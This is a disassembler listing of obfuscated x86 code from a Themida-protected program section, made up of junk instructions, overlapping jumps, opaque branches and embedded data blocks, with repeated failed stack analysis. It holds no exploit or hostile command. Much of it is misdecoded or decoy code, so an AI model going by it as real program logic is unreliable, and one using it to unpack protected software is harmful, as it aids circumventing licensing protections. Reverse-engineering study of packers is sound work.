Themida_:0060FC8Ej mov si, 77A4h pusha jno loc_60FCB5 cmc loc_60FCB5: ; CODE XREF: Themida_:0060FCAEj jl loc_60FCBD pusha popa loc_60FCBD: ; CODE XREF: Themida_:loc_60FCB5j popa call loc_60FCCB int 0E2h ; used by BASIC while in interpreter setalc or ah, [edx-20h] cli loc_60FCCB: ; CODE XREF: Themida_:0060FCBEp jp $+6 pop ebx pusha mov al, 76h mov edi, 7DBFA01Ch popa mov ecx, ebx sbb bx, 0DF7Dh cmc add edx, 14B53E9Ah jbe loc_60FCF5 xor ecx, 7A952DC5h loc_60FCF5: ; CODE XREF: Themida_:0060FCE9j push ebx movsx ebx, ax pop eax mov ebx, esi movzx ecx, bx mov dx, cx mov si, dx call loc_60FD18 jbe short loc_60FD28 mov ch, 0FCh mov dl, dh sbb eax, 2C3F0237h stosb push ebp ; --------------------------------------------------------------------------- db 0C5h ; --------------------------------------------------------------------------- loc_60FD18: ; CODE XREF: Themida_:0060FD05p jmp near ptr loc_60FD28+1 ; --------------------------------------------------------------------------- db 9Eh, 82h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_60FD6A loc_60FD1F: ; CODE XREF: sub_60FD6A+15j scasb leave lodsd mov ah, 5Ch wait retn 8170h ; END OF FUNCTION CHUNK FOR sub_60FD6A ; --------------------------------------------------------------------------- loc_60FD28: ; CODE XREF: Themida_:0060FD0Aj ; Themida_:loc_60FD18j aam 59h stc jmp loc_60FD43 ; --------------------------------------------------------------------------- dd 0C684A114h, 0F6E873B2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_60FD6A loc_60FD38: ; CODE XREF: sub_60FD6A+13j arpl [edx-68FF24BEh], bp sub [eax+31h], ah inc ebp ; END OF FUNCTION CHUNK FOR sub_60FD6A ; --------------------------------------------------------------------------- db 3 ; --------------------------------------------------------------------------- loc_60FD43: ; CODE XREF: Themida_:0060FD2Bj call sub_60FD56 imul edi, [edx+210767A3h], -55h imul edi, [edi+esi+6Bh], -78h sbb edi, [eax] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_60FD56 proc near ; CODE XREF: Themida_:loc_60FD43p jmp sub_60FD6A sub_60FD56 endp ; --------------------------------------------------------------------------- db 9Bh dd 3C9A3F40h, 8E8E55CDh, 0B72874B1h ; --------------------------------------------------------------------------- jz short loc_60FD70 ; =============== S U B R O U T I N E ======================================= sub_60FD6A proc near ; CODE XREF: sub_60FD56j ; FUNCTION CHUNK AT 0060FD1F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0060FD38 SIZE 0000000A BYTES pop ecx push eax clc pop eax pusha push ecx loc_60FD70: ; CODE XREF: Themida_:0060FD68j call near ptr loc_60FD81+4 sbb [ecx+ebx*8], esi loop near ptr loc_60FDE0+4 push ebx adc al, 94h jno short loc_60FD38 jo short loc_60FD1F loc_60FD81: ; CODE XREF: sub_60FD6A:loc_60FD70p and eax, 5BEFAAAEh sub_60FD6A endp ; sp-analysis failed pop edx jo loc_60FD90 movzx edx, ax loc_60FD90: ; CODE XREF: Themida_:0060FD87j popa pusha jo loc_60FD9C mov cx, 0FB30h loc_60FD9C: ; CODE XREF: Themida_:0060FD92j movsx eax, dx popa movsx ecx, dx mov ebx, 37A13F95h call sub_60FDC1 mov cl, 0Bh pop ecx pop ebp lds ebp, [ecx] cmc iret ; --------------------------------------------------------------------------- xchg eax, ecx neg dword ptr [edi+edx*4+31CB4BE4h] fcomp5 st(3) fld st(7) ; =============== S U B R O U T I N E ======================================= sub_60FDC1 proc near ; CODE XREF: Themida_:0060FDA8p add eax, 39A30AB4h pop esi jmp loc_60FDDA ; --------------------------------------------------------------------------- stosd loc_60FDCE: ; CODE XREF: sub_60FDFE+17j xor [ecx], ch dec edx in eax, 6Ch push eax mov edi, 4FAEB0B8h ; --------------------------------------------------------------------------- db 82h ; --------------------------------------------------------------------------- loc_60FDDA: ; CODE XREF: sub_60FDC1+7j ja loc_60FDE6 loc_60FDE0: ; CODE XREF: sub_60FD6A+Ej adc edx, 577CD419h loc_60FDE6: ; CODE XREF: sub_60FDC1:loc_60FDDAj jp loc_60FE04 call sub_60FDFE mov edx, 546DB872h mov cl, 42h shl byte ptr [eax+esi*8-3Bh], 1 push cs dec eax sub_60FDC1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60FDFE proc near ; CODE XREF: sub_60FDC1+2Bp sbb cx, 47BAh pop esi loc_60FE04: ; CODE XREF: sub_60FDC1:loc_60FDE6j jz near ptr loc_60FE1D+4 jge near ptr loc_60FE1D+4 call near ptr loc_60FE1D+3 jz short loc_60FDCE and [edi-1Ch], cl inc ebx inc esp icebp loc_60FE1D: ; CODE XREF: sub_60FDFE+12p ; sub_60FDFE:loc_60FE04j ... mov ebx, 8A58061Dh sub_60FDFE endp ; sp-analysis failed ror dword ptr [edi], cl xchg eax, [ecx] ; --------------------------------------------------------------------------- dw 0 dd 0CE8F900h, 0E8000000h, 0AFB9460Ah, 0EC74D5C0h, 0E975FDC3h dd 10h, 13B3C4D3h, 2BE4316h, 0EBE82EC0h, 2D076329h, 11E9605Ah dd 33000000h, 0A4D7FD45h, 0F1237AB0h, 4B02ED8h, 0F1363CF5h dd 61D18B66h, 3810Fh, 0E6800000h, 4CB9F93Ch, 0F948DEB1h dd 54BD56B8h, 6E956h, 0B070000h, 0FDA1FF67h, 0C0B7D08Ah dd 0CA816660h, 0F3813F41h, 66325B87h, 30D88061h, 9BBAEA8Ah dd 0E96EF41Dh, 0Ah, 7A687013h, 342B2AABh, 8D0FAA73h, 26h dd 10E8h, 4BF44100h, 760AE3Bh, 7301EB40h, 0E897C061h, 0BE92Ah dd 245F0000h, 0CCBB3A49h, 2DB757A4h, 9E85A30h, 91000000h dd 0D2976ACEh, 36668D8Eh, 5980F780h, 0FE9h, 0E034FA00h dd 0F70CFF1Ch, 5B9B83B1h, 685F8AAAh, 48A0Fh, 0BA660000h dd 0DE97F6Fh, 8F000000h, 951A37A5h, 7DCE7ADDh, 5A66D900h dd 338694BFh, 0E1BA6676h, 7E9BBh, 0D2EA0000h, 0C8E9D4E3h dd 6190B850h, 0CE806853h, 0EF8AF533h, 9E9h, 6BCC1000h dd 5404610Fh, 800F404Eh, 0Ah, 48C0Fh, 0B8660000h, 0BF0F4180h dd 20B866C0h, 0D88B665Fh, 67DA8166h, 50CABB7Eh, 8F0F2F49h dd 0 ; --------------------------------------------------------------------------- jo loc_60FF98 jmp loc_60FF98 ; --------------------------------------------------------------------------- db 0DDh ; --------------------------------------------------------------------------- mov ebx, 0E5E49939h push es cmp ebx, [ebx+0Ah] loc_60FF91: ; CODE XREF: Themida_:loc_60FF91j ja short loc_60FF91 inc ebp fcmovb st, st(1) ; --------------------------------------------------------------------------- dw 0D86h ; --------------------------------------------------------------------------- loc_60FF98: ; CODE XREF: Themida_:0060FF7Cj ; Themida_:0060FF82j mov edx, 2D13CE1Eh movzx edx, dx jmp loc_60FFAC ; --------------------------------------------------------------------------- db 5Bh, 73h, 0A3h dd 0E71FD7EEh ; --------------------------------------------------------------------------- loc_60FFAC: ; CODE XREF: Themida_:0060FFA0j call sub_60FFBF cmovg ebx, [ebp-55h] daa cmp dl, ss:[edx] popf call near ptr 0A762D72Fh ; =============== S U B R O U T I N E ======================================= sub_60FFBF proc near ; CODE XREF: Themida_:loc_60FFACp mov ax, 2EFh pop ebx call near ptr loc_60FFCF+5 wait mov esp, 0FA4AFC2Fh loc_60FFCF: ; CODE XREF: sub_60FFBF+5p les edi, [eax+5AFF88FFh] sub_60FFBF endp ; sp-analysis failed js loc_60FFDC cld loc_60FFDC: ; CODE XREF: Themida_:0060FFD5j mov dl, 7Ch jl loc_60FFE5 stc loc_60FFE5: ; CODE XREF: Themida_:0060FFDEj push edx jz loc_60FFF0 mov ax, 9C81h loc_60FFF0: ; CODE XREF: Themida_:0060FFE6j pop esi mov edi, ecx call sub_610003 db 36h mov edx, [ebp-25F1989Ch] cmp al, 8Dh cmp al, 6Eh ; =============== S U B R O U T I N E ======================================= sub_610003 proc near ; CODE XREF: Themida_:0060FFF3p pusha jmp loc_610015 ; --------------------------------------------------------------------------- db 6Ch, 0CAh, 18h dd 960C7097h, 0FD1E1624h db 62h ; --------------------------------------------------------------------------- loc_610015: ; CODE XREF: sub_610003+1j pusha popa popa pop edx jmp loc_61002A ; --------------------------------------------------------------------------- dw 0C679h dd 8AF0A31Dh, 65CCAA8Dh db 0CDh, 0E4h ; --------------------------------------------------------------------------- loc_61002A: ; CODE XREF: sub_610003+16j mov cx, si add eax, 377D45B1h sub si, 0B4E5h movzx esi, si stc sub bx, 0EF16h mov ebx, esi call near ptr loc_61004E+1 repne inc dword ptr [edx] aaa and ebx, edi loc_61004E: ; CODE XREF: sub_610003+40p mov bh, cl sub_610003 endp ; sp-analysis failed pop esi add esi, 3C07D420h movsx edx, bx jno loc_610065 and ax, 9834h loc_610065: ; CODE XREF: Themida_:0061005Aj push eax cld pop eax movzx ecx, si pusha sbb eax, 14C7C1A6h mov edx, 6EE7F99Dh popa add bh, 5Ah mov si, 91E2h jge loc_610086 stc loc_610086: ; CODE XREF: Themida_:0061007Fj jmp loc_61009A ; --------------------------------------------------------------------------- db 19h dd 88B479E5h, 5082E01Ah, 0F2A5B0F5h db 38h, 3Bh ; --------------------------------------------------------------------------- loc_61009A: ; CODE XREF: Themida_:loc_610086j jz loc_6100B8 jmp loc_6100B8 ; --------------------------------------------------------------------------- db 0B0h, 0F4h, 68h dd 54DD37AEh, 342F44A1h, 785ED287h, 39E1286Eh ; --------------------------------------------------------------------------- loc_6100B8: ; CODE XREF: Themida_:loc_61009Aj ; Themida_:006100A0j mov edi, ecx call near ptr loc_6100CB+4 push esi loop near ptr loc_6100D2+1 adc byte ptr [edi-6Bh], 8 inc edx add [ebx+edx*2-52h], esp loc_6100CB: ; CODE XREF: Themida_:006100BAp push 8B99D798h clc pop ecx loc_6100D2: ; CODE XREF: Themida_:006100C0j mov dx, ax clc xor edx, 2556AA4h jmp loc_6100F0 ; --------------------------------------------------------------------------- db 3Ah, 0CEh, 3Dh dd 250A7167h, 88A77652h, 69BF8737h ; --------------------------------------------------------------------------- loc_6100F0: ; CODE XREF: Themida_:006100DCj movzx eax, dx mov cl, dh xor edx, 2696BB09h xor dl, 7Ch pusha cmc mov ax, 0D0EDh popa pusha call near ptr loc_610114+1 xor dl, [edx+2Dh] pop ebp mov cl, 0E9h arpl [edi-4Eh], ax loc_610114: ; CODE XREF: Themida_:00610106p mov dl, [ebx+5Fh] pop ecx popa mov bl, 0D4h sub si, 81ECh mov eax, 225EF6FFh jmp loc_61013E ; --------------------------------------------------------------------------- dw 0B79Bh dd 0D8941D11h, 5A6A33FBh, 0D6FC3BE1h, 0A513D8BCh db 0F3h, 9Bh ; --------------------------------------------------------------------------- loc_61013E: ; CODE XREF: Themida_:00610125j push esi push eax mov esi, 7960BDFAh pop ebx pop edi jmp loc_61015E ; --------------------------------------------------------------------------- dd 0AE4AB809h, 407212C1h, 67C11D6Ch, 0A476D105h db 21h, 0AAh ; --------------------------------------------------------------------------- loc_61015E: ; CODE XREF: Themida_:00610147j pusha pusha mov cx, 0EE5h jmp loc_61016F ; --------------------------------------------------------------------------- db 0D6h, 1Fh, 0ECh db 0BCh, 8Eh, 0D7h ; --------------------------------------------------------------------------- loc_61016F: ; CODE XREF: Themida_:00610164j popa popa mov ecx, esi movsx edx, dx mov edx, edi jmp loc_610191 ; --------------------------------------------------------------------------- db 18h, 2, 8Ah dd 28507F27h, 0CE2B3463h, 59D06D1Ch, 6BFEA5E4h db 0A1h ; --------------------------------------------------------------------------- loc_610191: ; CODE XREF: Themida_:00610178j xor al, 2Ch call near ptr loc_6101AB+1 ; CODE XREF: Themida_:loc_6101ABj add al, 0DBh xor cl, [eax+4A5F5C58h] pop ebx pop ebx push 0FFFFFF92h sbb al, 0F1h add ebp, [edx-76h] pop ds loc_6101AB: ; CODE XREF: Themida_:00610194p jo short near ptr loc_610194+1 add eax, 9B000000h inc esi sub [ecx], cl lodsd mov di, 5ACAh pop edi pop eax mov eax, 573CEBB0h ; CODE XREF: Themida_:0061020Ej stc jno loc_6101CD mov eax, 6B09E22Bh loc_6101CD: ; CODE XREF: Themida_:006101C2j pusha movsx ebx, di jmp loc_6101E6 ; --------------------------------------------------------------------------- dw 0A26Ah dd 0CB1D1EB6h, 1434CE13h, 0ED52F287h db 67h, 0E1h ; --------------------------------------------------------------------------- loc_6101E6: ; CODE XREF: Themida_:006101D1j popa jz loc_6101EF mov edi, edx loc_6101EF: ; CODE XREF: Themida_:006101E7j mov dl, cl movsx esi, si stc movsx ecx, cx add edx, 78D5F5C4h mov esi, 5993684Bh stc call near ptr loc_610215+1 mov ebp, 0B40D0783h jl short near ptr loc_6101BC+2 mov ds:0F421063Bh, eax loc_610215: ; CODE XREF: Themida_:00610204p imul esp, [esi-7Fh], -22h and al, 3Ch pop edi push ecx cld pop ecx jmp loc_610238 ; --------------------------------------------------------------------------- dd 0BCB95C0h, 45ECF67Bh, 66389710h, 0A92C140Bh, 0EABE5BBFh ; --------------------------------------------------------------------------- loc_610238: ; CODE XREF: Themida_:0061021Fj jmp loc_610247 ; --------------------------------------------------------------------------- align 2 dw 5761h dd 47AF766Ah db 9Eh, 72h, 94h ; --------------------------------------------------------------------------- loc_610247: ; CODE XREF: Themida_:loc_610238j and di, 9EA2h mov cx, si sub ebx, 0B3C1E6Ch pusha mov di, 3016h mov ah, 9Ch popa mov bh, cl mov al, bh mov esi, eax clc mov dl, ch mov al, bh movsx ecx, cx jle loc_610281 push ecx call near ptr loc_610279+6 in eax, 4Bh loc_610279: ; CODE XREF: Themida_:00610272p jmp far ptr 59B6h:785661F1h ; --------------------------------------------------------------------------- pop ecx loc_610281: ; CODE XREF: Themida_:0061026Bj jnb loc_6102A4 call sub_610297 sbb ebp, [esi+69h] ror bh, 0B2h add ch, [edi+edi*2] iret ; --------------------------------------------------------------------------- sti ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_610297 proc near ; CODE XREF: Themida_:00610287p jmp sub_6102A3 sub_610297 endp ; --------------------------------------------------------------------------- db 0CCh db 6Dh, 80h, 0B8h ; --------------------------------------------------------------------------- mov eax, edi cwde ; =============== S U B R O U T I N E ======================================= sub_6102A3 proc near ; CODE XREF: sub_610297j pop ebx loc_6102A4: ; CODE XREF: Themida_:loc_610281j mov dx, 28Ch mov edi, 64A2FBD9h sbb ch, 29h mov bx, ax movzx ebx, dx clc jno loc_6102D8 pusha jmp loc_6102D7 ; --------------------------------------------------------------------------- db 68h dd 89DF5303h, 0FAC3B3F4h, 95EE7123h, 0CA6BE949h db 0ADh, 0F7h, 48h ; --------------------------------------------------------------------------- loc_6102D7: ; CODE XREF: sub_6102A3+1Bj popa loc_6102D8: ; CODE XREF: sub_6102A3+14j jnb loc_6102E1 mov si, dx loc_6102E1: ; CODE XREF: sub_6102A3:loc_6102D8j movzx esi, si mov dx, bx clc pusha movzx ecx, si popa sub al, 64h js loc_610313 jle loc_610313 call sub_610312 pop ecx dec eax xchg eax, ecx pop edx inc esi mov ds:597CB59Ch, ebx call near ptr 65E9087Dh icebp sub_6102A3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_610312 proc near ; CODE XREF: sub_6102A3+59p pop ebx loc_610313: ; CODE XREF: sub_6102A3+4Dj ; sub_6102A3+53j jnz loc_61031F or ebx, 7ACAD5Bh loc_61031F: ; CODE XREF: sub_610312:loc_610313j mov di, cx pusha movzx edx, bx call near ptr loc_610338+5 inc ebp push edi outsb sub eax, 6414A3A1h add al, 0A9h daa adc al, 0E8h loc_610338: ; CODE XREF: sub_610312+14p sbb dword ptr [esi+ecx*8], 8166224Fh sub_610312 endp ; sp-analysis failed sar dword ptr [edx-7E9EA645h], 0D3h jo short loc_610383 loopne near ptr loc_61037A+2 jl loc_610352 mov bl, dl loc_610352: ; CODE XREF: Themida_:0061034Aj jnp loc_61035D mov edx, 5E43FB3Dh loc_61035D: ; CODE XREF: Themida_:loc_610352j mov dx, 982Eh stc call sub_61036C mov dl, 0Dh mov cl, 39h pop es ; =============== S U B R O U T I N E ======================================= sub_61036C proc near ; CODE XREF: Themida_:00610362p movzx eax, si pop edi pusha mov si, bx push ecx pop ecx popa mov si, dx loc_61037A: ; CODE XREF: Themida_:00610348j jno loc_610383 or dl, 3Ch loc_610383: ; CODE XREF: Themida_:00610346j ; sub_61036C:loc_61037Aj push ebx mov si, di pop edx jz loc_6103A9 push ecx jmp loc_6103A8 ; --------------------------------------------------------------------------- or [edx-3Bh], ecx adc [edi], dl loc_610399: ; CODE XREF: sub_61036C:loc_610399j jmp short loc_610399 ; --------------------------------------------------------------------------- db 51h dd 0DAFAA8AFh, 9EA75C00h, 8BEE0FD2h ; --------------------------------------------------------------------------- loc_6103A8: ; CODE XREF: sub_61036C+23j pop ecx loc_6103A9: ; CODE XREF: sub_61036C+1Cj mov esi, 6BA6FFh adc si, 0D65h mov esi, eax movsx esi, dx movsx edx, bx push ecx pop ecx pusha pusha mov di, dx sbb dh, 9 popa cmc popa mov di, 4098h mov cx, 8D74h jmp loc_6103DE ; --------------------------------------------------------------------------- db 0FDh, 40h, 41h dd 44B5F63h db 0A6h, 26h ; --------------------------------------------------------------------------- loc_6103DE: ; CODE XREF: sub_61036C+64j mov eax, 29248AAFh mov bl, 5Dh call near ptr loc_6103F7+2 enter 415Bh, 0E4h dec ebp cmp al, 0AEh arpl [edx+22108AF5h], sp loc_6103F7: ; CODE XREF: sub_61036C+79p lds edi, [eax+58h] sub_61036C endp ; sp-analysis failed pusha jmp loc_610411 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0DDh, 48h, 35h dd 3FD611EEh, 30C95BD0h, 0C8DB0A67h db 2 ; --------------------------------------------------------------------------- loc_610411: ; CODE XREF: Themida_:006103FBj popa jnp loc_61041E pusha push edi pop eax mov ah, 0A6h popa loc_61041E: ; CODE XREF: Themida_:00610412j xor edx, 2A8C287Eh mov bx, 3052h mov si, dx mov cl, 24h jo loc_61043A push ecx mov edx, 739B2FCBh pop ecx loc_61043A: ; CODE XREF: Themida_:0061042Dj call sub_610448 and al, 0FCh jmp near ptr 0C6F3E8C6h ; --------------------------------------------------------------------------- dw 96A0h ; =============== S U B R O U T I N E ======================================= sub_610448 proc near ; CODE XREF: Themida_:loc_61043Ap movzx ecx, si pop edi mov dh, 6Bh sbb esi, 5ADF0CD0h jb loc_61045F mov ecx, 5BEB5B76h loc_61045F: ; CODE XREF: sub_610448+Cj push edi sub dl, 9Bh pop edx movsx eax, bx or ax, 71C7h mov dl, 0C9h movsx esi, ax jnp loc_61047C mov eax, 76DFAF4Ah loc_61047C: ; CODE XREF: sub_610448+29j mov bx, 8D6Bh mov ecx, 48CF9E33h jz loc_610495 ja loc_610495 mov bx, 66E2h loc_610495: ; CODE XREF: sub_610448+3Dj ; sub_610448+43j mov ax, si pusha clc and si, 0CC39h popa mov edx, ecx mov si, di js loc_6104AD mov dh, 0D5h loc_6104AD: ; CODE XREF: sub_610448+5Dj jmp loc_6104BF ; --------------------------------------------------------------------------- dw 0E621h dd 518D3B80h, 0D74FA99Ch db 0C6h, 53h, 30h ; --------------------------------------------------------------------------- loc_6104BF: ; CODE XREF: sub_610448:loc_6104ADj jmp loc_6104D2 ; --------------------------------------------------------------------------- dd 0FD288ABDh, 0F24D6A1Ch, 0A6AC3A10h ; --------------------------------------------------------------------------- push ds dec ebp loc_6104D2: ; CODE XREF: sub_610448:loc_6104BFj mov esi, 6A497F0h pusha jmp loc_6104F0 ; --------------------------------------------------------------------------- db 0D3h, 89h, 60h dd 5E24DE48h, 1B85661Ah, 0FBA1D507h, 0DD25170Ah ; --------------------------------------------------------------------------- loc_6104F0: ; CODE XREF: sub_610448+90j mov edi, 73C95173h popa jmp loc_61050C ; --------------------------------------------------------------------------- db 0FAh dd 0FBC1A946h, 0A3E1326Ah, 0A58629D4h, 89DF208h ; --------------------------------------------------------------------------- loc_61050C: ; CODE XREF: sub_610448+AEj js loc_610522 jmp loc_610522 ; --------------------------------------------------------------------------- db 0D2h dd 0CF0227F7h, 0C10C1164h db 0C0h, 0B7h ; --------------------------------------------------------------------------- loc_610522: ; CODE XREF: sub_610448:loc_61050Cj ; sub_610448+CAj pusha mov cx, 4B3Ah add edx, 5B4E9F00h popa jmp loc_61053C ; --------------------------------------------------------------------------- db 0DAh dd 6DAAF4FAh, 80A3AD7Eh ; --------------------------------------------------------------------------- loc_61053C: ; CODE XREF: sub_610448+E6j pusha jbe loc_610545 ; CODE XREF: sub_6105A3+1Dj mov edi, eax loc_610545: ; CODE XREF: sub_610448+F5j and al, 0C9h popa mov ax, 7754h call sub_610563 rep inc eax daa mov ch, 95h outsb sub esi, 0FFFFFFF7h shl dword ptr [eax], cl or edi, [esi-5Dh] dec ebx cwde pusha sub_610448 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_610563 proc near ; CODE XREF: sub_610448+105p call near ptr loc_610570+4 push esp xchg eax, ebx neg esi pop ecx stosb push eax insd loc_610570: ; CODE XREF: sub_610563p mov esp, 0BB85E439h sub_610563 endp ; sp-analysis failed pop eax db 66h rcr byte ptr [edi+ebx*2+5Eh], cl and edi, 52FA1BD5h jmp loc_610598 ; --------------------------------------------------------------------------- dw 0E4B9h ; --------------------------------------------------------------------------- add eax, 68633CF0h neg dword ptr ds:0DE91846Ah mov bl, 0ADh inc esi pop edx push ebp loc_610598: ; CODE XREF: Themida_:00610581j call sub_6105A3 mov ds:87D56564h, eax in eax, dx ; =============== S U B R O U T I N E ======================================= sub_6105A3 proc near ; CODE XREF: Themida_:loc_610598p mov esi, 1006DB94h pop esi movsx ecx, dx jl loc_6105C7 call sub_6105C4 insd xchg eax, esp test al, 29h adc ch, [edx] mov word ptr [edx-23h], es jno short near ptr loc_61053D+5 pushf into sub_6105A3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_6105C4 proc near ; CODE XREF: sub_6105A3+Fp push esi pop ecx pop eax loc_6105C7: ; CODE XREF: sub_6105A3+9j and dx, 1BCBh sbb ebx, 4769F630h jmp loc_6105DD ; --------------------------------------------------------------------------- db 46h dd 0A437AFE6h db 10h ; --------------------------------------------------------------------------- loc_6105DD: ; CODE XREF: sub_6105C4+Ej mov dx, 2BAh push ebx pop edx jnp loc_6105EB mov dh, al loc_6105EB: ; CODE XREF: sub_6105C4+1Fj mov cl, dl mov ax, 29BCh jmp loc_6105FE ; --------------------------------------------------------------------------- dw 12BEh dd 0A74BE0D9h db 0C7h, 0B4h ; --------------------------------------------------------------------------- loc_6105FE: ; CODE XREF: sub_6105C4+2Dj movsx ecx, cx cld xor ah, 0E5h mov si, 0D0EDh jmp loc_610620 ; --------------------------------------------------------------------------- dw 0DEF6h dd 20980B8Ah, 0CE2A4426h, 7D5D012Dh, 0BCDFE0ADh ; --------------------------------------------------------------------------- loc_610620: ; CODE XREF: sub_6105C4+45j cld mov bh, 0F7h mov cl, dl mov cx, 862Bh cmc pusha or dh, 81h jo loc_610636 pusha popa loc_610636: ; CODE XREF: sub_6105C4+6Aj popa mov ecx, eax call near ptr loc_61064A+4 xchg eax, ebx in al, dx shr byte ptr [esi+10h], 1 mov byte ptr [esi-0A506B26h], 75h loc_61064A: ; CODE XREF: sub_6105C4+75p repne push 0EE957ECh sub_6105C4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 91000000h, 9ADA1409h, 0B6350049h, 94B748CFh, 60525B0Ah dd 61FA8AF9h, 4192B95Ah, 0B8664B0Ch, 0B35226BFh, 8B665FFEh dd 0FEC7B8C1h, 5E857F2h, 0ED000000h, 92B5920Dh, 6E9h, 4275C500h dd 5921276Ch, 0EDA6EFB8h, 0F88B666Bh, 0DFB70F60h, 0F6142B7h dd 8160F7BFh, 0AB086BE1h, 61F08B0Bh, 23DCBDB9h, 88E0F7Dh dd 0F000000h, 289h, 6079B200h, 51F3BB66h, 0F8CCB461h, 75F68166h dd 12E844h, 22370000h, 4D363072h, 8B01D306h, 9EC3F75Eh dd 8FC37696h, 6E9h, 30069800h, 5B8C92FAh, 0FCAB70Fh, 2D82h dd 0EE800h, 0B0740000h, 0ED21F1AAh, 92731CB4h, 0AC3C6BEBh dd 14E9h, 83021300h, 3B8D55A2h, 0BFF59958h, 0DBEB437h dd 3F07D5E5h, 0BF665BDBh, 66531282h, 0D1BC881h, 7E85Bh dd 0FEC10000h, 41CA276Fh, 0D78166C5h, 0F592B8Ch, 38Ah dd 0C7BF0F00h, 8F96B9F9h, 8B660CCDh, 0F810FF2h, 50000000h dd 8E9h, 93B75D00h, 0F7F81B48h, 820F592Dh, 8, 28C0Fh, 0F08B0000h dd 60604EB3h, 0DE8h, 6AF43A00h, 0BE9AF175h, 16E3349Bh dd 615F6B13h, 7CB86661h, 7E180FDh, 10E9h, 5BA6A300h, 0FC4A36F7h dd 25DF5F57h, 614A0D15h, 0CE8F9h, 7A710000h, 0B57AEAEAh dd 0FB9CBBEAh, 7AB85CE7h, 5E3892C1h, 0E9D8BF0Fh, 9, 2364116Ch dd 1231B7BBh, 8E0F6082h, 0 ; --------------------------------------------------------------------------- push edi movzx ebx, ax pop edx popa adc ax, 0B664h mov ecx, 1234B6FBh mov ch, 1Eh mov eax, 7AB6C26Bh jmp loc_610810 ; --------------------------------------------------------------------------- dd 87E4D3BBh, 3AB33D82h, 0A66ECE6Dh, 0DE39E678h, 44EFEEABh ; --------------------------------------------------------------------------- loc_610810: ; CODE XREF: Themida_:006107F7j jns loc_610827 push eax jmp loc_610826 ; --------------------------------------------------------------------------- scasd mov esp, 0DEC6E863h pop edx std inc esi stosb loc_610826: ; CODE XREF: Themida_:00610817j pop ecx loc_610827: ; CODE XREF: Themida_:loc_610810j jmp loc_610836 ; --------------------------------------------------------------------------- not eax retn ; --------------------------------------------------------------------------- db 41h dd 59BC8DBCh ; --------------------------------------------------------------------------- test al, 74h loc_610836: ; CODE XREF: Themida_:loc_610827j mov eax, 65AFA77Eh jmp loc_610854 ; --------------------------------------------------------------------------- dd 0F4CED3C5h, 9416EA5Eh, 1ED562DBh, 7C09C9E2h, 454A89ADh ; --------------------------------------------------------------------------- loc_610854: ; CODE XREF: Themida_:0061083Bj push eax cmc pop ecx mov ah, 62h movsx esi, di movsx eax, dx mov ebx, 57E41FFh jmp loc_610871 ; --------------------------------------------------------------------------- test eax, 0D30AEFD4h inc ebp pop ebp cdq loc_610871: ; CODE XREF: Themida_:00610864j pusha mov al, 0A2h pusha mov bx, 0BF6Fh popa popa jbe loc_610887 xor ebx, 7AA79EE4h loc_610887: ; CODE XREF: Themida_:0061087Bj and bl, 0E5h jb loc_610896 sub edx, 3079BDh loc_610896: ; CODE XREF: Themida_:0061088Aj add cx, 0CBACh mov ecx, ebx mov ecx, 3D4B4918h call near ptr loc_6108A9+4 pop edx inc esi loc_6108A9: ; CODE XREF: Themida_:006108A2p mov ds:7ABBB59Ch, ebx hlt ; --------------------------------------------------------------------------- mov ah, 5Bh pop edi jnz loc_6108C5 jle loc_6108C5 jnp $+6 loc_6108C5: ; CODE XREF: Themida_:006108B3j ; Themida_:006108B9j mov edi, eax jmp loc_6108DF ; --------------------------------------------------------------------------- dd 0F0125F74h, 978032E3h, 1D55B2A8h, 0B415F270h db 44h, 90h, 8Fh ; --------------------------------------------------------------------------- loc_6108DF: ; CODE XREF: Themida_:006108C7j jns loc_6108EB and edx, 6842F458h loc_6108EB: ; CODE XREF: Themida_:loc_6108DFj jmp loc_610903 ; --------------------------------------------------------------------------- dd 90FF107Dh, 37CD36B0h, 7F319AB2h, 4C77E87Ah db 2 dup(16h), 68h ; --------------------------------------------------------------------------- loc_610903: ; CODE XREF: Themida_:loc_6108EBj pusha jmp loc_61091B ; --------------------------------------------------------------------------- db 3Eh, 85h, 0E3h dd 2B8637B1h, 591EDA60h, 6DA786Ah db 62h, 52h, 0FDh ; --------------------------------------------------------------------------- loc_61091B: ; CODE XREF: Themida_:00610904j mov ch, ah popa jnz loc_610927 movzx edi, cx loc_610927: ; CODE XREF: Themida_:0061091Ej mov edx, 1397CE1Eh and ch, 3Ch clc mov si, 0D9D8h xor ebx, 15587CFFh pusha mov bx, dx popa sub ch, 58h jmp loc_61094E ; --------------------------------------------------------------------------- db 0FCh dd 2B29839Fh db 6Dh, 35h ; --------------------------------------------------------------------------- loc_61094E: ; CODE XREF: Themida_:00610942j call loc_61095B enter 260Ah, 2Eh jbe short near ptr loc_6109A0+4 in eax, dx push es loc_61095B: ; CODE XREF: Themida_:loc_61094Ep pusha jmp loc_610967 ; --------------------------------------------------------------------------- db 0EAh, 0EFh, 0C0h db 15h, 3Ah, 7Fh ; --------------------------------------------------------------------------- loc_610967: ; CODE XREF: Themida_:0061095Cj popa pop esi and cl, 0C3h jmp loc_610980 ; --------------------------------------------------------------------------- db 0Bh, 78h, 15h dd 0BC9ABF62h, 713CFEBCh, 5F3C6C71h ; --------------------------------------------------------------------------- loc_610980: ; CODE XREF: Themida_:0061096Cj mov edi, eax call sub_610997 stc arpl [edi-14h], dx mov ah, 0DDh inc ebx ; --------------------------------------------------------------------------- dw 668Fh ; --------------------------------------------------------------------------- mov al, ds:8080E576h aad 0B4h ; =============== S U B R O U T I N E ======================================= sub_610997 proc near ; CODE XREF: Themida_:00610982p mov cl, 49h pop ebx xor esi, 682A56C9h loc_6109A0: ; CODE XREF: Themida_:00610957j call near ptr loc_6109B2+1 and eax, 8BE8CE7Fh pop ss cld adc bh, [edi+4FBCBB4Ah] loc_6109B2: ; CODE XREF: sub_610997:loc_6109A0p shr al, 11h sub_610997 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(0) ; 